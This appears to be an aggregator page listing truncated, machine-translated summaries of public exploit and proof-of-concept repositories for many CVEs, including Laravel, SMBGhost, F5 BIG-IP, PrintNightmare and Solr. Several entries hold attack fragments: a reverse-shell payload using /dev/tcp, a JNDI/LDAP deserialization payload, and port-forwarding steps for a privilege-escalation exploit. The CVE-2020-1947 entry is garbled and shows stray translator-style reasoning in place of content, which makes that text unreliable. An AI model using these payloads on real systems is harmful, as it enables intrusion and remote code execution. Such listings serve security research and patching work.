CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 Ambiente di test root@kitploit: mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d Utilizzo root@kitploit: git clone...

CVE-2026-82477

In MITRE SAF Heimdall 2.11.6 through 2.13.x before 2.14.0, an SSRF issue allows remote attackers to access internal network resources via the Tenable proxy endpoint. This occurs in apps/backend/src/tenable/tenable.controller.ts...

CVE-2025-6440

CVE-2025-6440 — Plugin WordPress WooCommerce Dynamic Pricing & Discounts Panoramica Questo repository contiene uno script Python proof-of-concept PoC per testare una vulnerabilità di upload non autenticato di file che colpisce il plugin WordPress WooCommerce Dynamic Pricing & Discounts. ⚠️ Questo...

CVE-2026-2587-Exploit-POC

CVE-2026-2587 Exploit PoC — Validatore RCE tramite EL Injection su Eclipse GlassFish Validatore PoC sicuro per CVE-2026-2587, una vulnerabilità critica di EL Injection / RCE che colpisce la gestione dei gadget della console amministrativa di Eclipse GlassFish tramite /common/gadgets/gadget.jsf...

CVE-2024-37054

CVE-2024-37054 — Deserializzazione RCE di MLflow pyfunc Gravità: Critica Interessati: MLflow 0.9.0 – 2.14.1 Tipo: Esecuzione arbitraria di codice tramite deserializzazione pickle Python Descrizione mlflow.pyfunc.loadmodel deserializza pythonmodel.pkl dall'archivio degli artefatti senza alcuna...

CVE-2019-9193

CVE-2019–9193 - PostgreSQL 9.6.1 Remote Code Execution Authentifiziert Proof of Concept PostgreSQL-Datenbanken ab Version 9.6.1 sind anfällig für authentifizierte Remote Code Execution. Auch wenn es vom Entwicklungsteam nicht als Schwachstelle an sich betrachtet wird, kann dies ausgenutzt werden,...

CVE-2020-0796-exp

SMBGhostRCEPoC PoC di RCE per CVE-2020-0796 "SMBGhost" Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e ha bisogno di qualche miglioramento per essere più affidabile. A volte provoca un...

CVE-2024-44871

MoziloCMS = 3.0.1 RCE Autenticado Descrição Este script é uma ferramenta de exploração projetada para testar aplicações web que executam MoziloCMS. Ele permite que um invasor use logins de administrador para fazer upload de um web shell PHP via arquivo jpg, renomear o arquivo carregado para php e...

CVE-2025-1974

Kubernetes Ingress-NGINX Nicht authentifizierte Remote-Codeausführung CVE-2025-1974 Ingress-NGINX: Ein Ingress-Controller für Kubernetes, der NGINX als Reverse-Proxy und Lastverteiler verwendet Die „IngressNightmare"-Schwachstelle CVE-2025-1974 rührt von einem kritischen Fehler im Ingress-NGINX...

CVE-2024-2054

CVE-2024-2054 Applicazione web amministrativa Artica-Proxy deserializzazione non sicura RCE Un proof of concept di exploit per l'applicazione web amministrativa ARTICA PROXY CVE-2024-2054 Articolo del blog Maggiori dettagli qui:...

CVE-2025-60752

CVE-2025-60752 PoC della CVE-2025-60752 Prodotto interessato: Tinyc Http Server L'articolo completo con i dettagli è disponibile all'indirizzo https://zer0matt.blogspot.com/2026/05/cve-2025-60752-tinyc-http-server-stack.html Descrizione Si verifica un overflow del buffer nello stack quando Tinyc...

CVE-2020-1947

" — the block ends with and then " response" after? Let me re-read the input: root@kitploit: "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true" Response root@kitploit: HTTP/1.1 200 ... Yes. So after the code fence,...

laravel-filemanager-unrestricted-upload

Laravel FileManager Unrestricted File Upload CVE-2025-56399 CWE-434: Uneingeschränkter Upload von Dateien mit gefährlichem Typ CVSS-Score: 8.5 Hoch 📋 Beschreibung Dieses Tool bietet einen Proof of Concept PoC für CVE-2025-56399 , eine kritische Schwachstelle in alexusmai/laravel-file-manager...

CVE-2024-48061

CVE-2024-48061 Langflow vulnerabile all'esecuzione remota di codice CVE-2024-48061 poc Utilizzo root@kitploit: python3 poc.py -i -p -l -lp Descrizione Questo script sfrutta un endpoint API vulnerabile su /api/v1/validate/code del server web target. Prima verifica la presenza del percorso...

CVE-2021-1675

CVE-2021-1675 Modificato da https://github.com/sailay1996/PrintNightmare-LPE, supporta chiamate remote. 1. Carica PrintNightmareLPE.exe e vlib.dll sul server remoto, quindi esegui PrintNightmareLPE.exe. 2. Configura il port forwarding locale: netsh interface portproxy add v4tov4 listenport=31337...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2022-1388

CVE-2022-1388 Questo repository contiene il codice exploit Python per CVE-2022-1388 F5 BIG-IP RCE utilizzo: exploit.py -h -t TARGET -p PORT -c CMD --ssl opzioni: -h, --help mostra questo messaggio di aiuto ed esci -t TARGET, --target TARGET Specifica l'indirizzo IP/il nome di dominio del server...

CVE-2024-39306

Descrizione Questo script è un PoC per CVE-2024-39306, dove è possibile un RCE a causa di una SQL injection tramite cui un utente autenticato può eseguire comandi arbitrari su un server che esegue ChurchCRM -p -b -c Esempio: python3 CVE-2024-39306.py -u FirstLast -p Password123 -b...

CVE-2024-4879

CVE-2024-4879 ServiceNow, una piattaforma ampiamente utilizzata per la trasformazione aziendale, ha recentemente divulgato tre vulnerabilità critiche di sicurezza che potrebbero avere gravi conseguenze per le organizzazioni in tutto il mondo. Queste vulnerabilità, identificate come CVE-2024–4879,...

cve-2016-6662

Informazioni Alcuni aiuti per sfruttare CVE-2016-6662 Avvertenze Assicurati di cambiare l'IP dell'attaccante nel file .c prima di compilare Crediti Tutto il credito allo scopritore originale. Writeup qui:...